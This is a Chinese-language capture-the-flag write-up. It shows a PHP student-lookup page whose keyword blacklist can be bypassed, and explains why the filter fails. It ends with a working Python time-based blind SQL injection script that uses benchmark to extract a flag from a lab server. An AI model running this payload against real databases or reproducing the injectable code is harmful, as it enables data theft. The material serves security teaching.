index.php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>
config.php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day10";
?>
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );
INSERT INTO students VALUES(1,'Lucia','[email protected]',100);
INSERT INTO students VALUES(2,'Danny','[email protected]',59);
INSERT INTO students VALUES(3,'Alina','[email protected]',66);
INSERT INTO students VALUES(4,'Jameson','[email protected]',13);
INSERT INTO students VALUES(5,'Allie','[email protected]',88);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');
进入网站:
http://10.211.55.2:100/day10/?id=1
本次题目源于某CMS 0day
漏洞改编。很明显可以看到在index.php
代码 第27行 处进行了 SQL 语句拼接,然后直接带入数据库查询。而在前一行,其实是有对 GET 方式传来的参数 id 进行过滤的,我们来详细看看过滤函数 stophack
。
我们可以清楚的看到 stophack 函数存在 过滤不严 和 检测到非法字符未直接退出 两个问题。
程序如果检测到非法字符或单词,都会将其替换成字符串 HongRi ,然而并没有立即退出,这样攻击者输入的攻击语句还是会继续被带入数据库查询。只不过这里关键词都被替换成了字符串 HongRi ,所以我们需要绕过这里的黑名单
。
纵观整个程序,当 SQL 语句执行出错时,并不会将错误信息显示出来,所以此处应为盲注
。开发者估计也是考虑到这个问题,便将关键词 sleep
给过滤了,然而这并不能影响攻击者继续使用盲注来获取数据。关于禁用了 sleep
函数的盲注,大家可以直接参考这篇文章:mysql 延时注入新思路 。这里我直接利用 benchmark
函数来获取flag。
sql时间盲注另外两种方式(benchmark,heavy query)
python程序如下:
import sys, string, requests
version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://10.211.55.2:100/day10/?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("\n[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")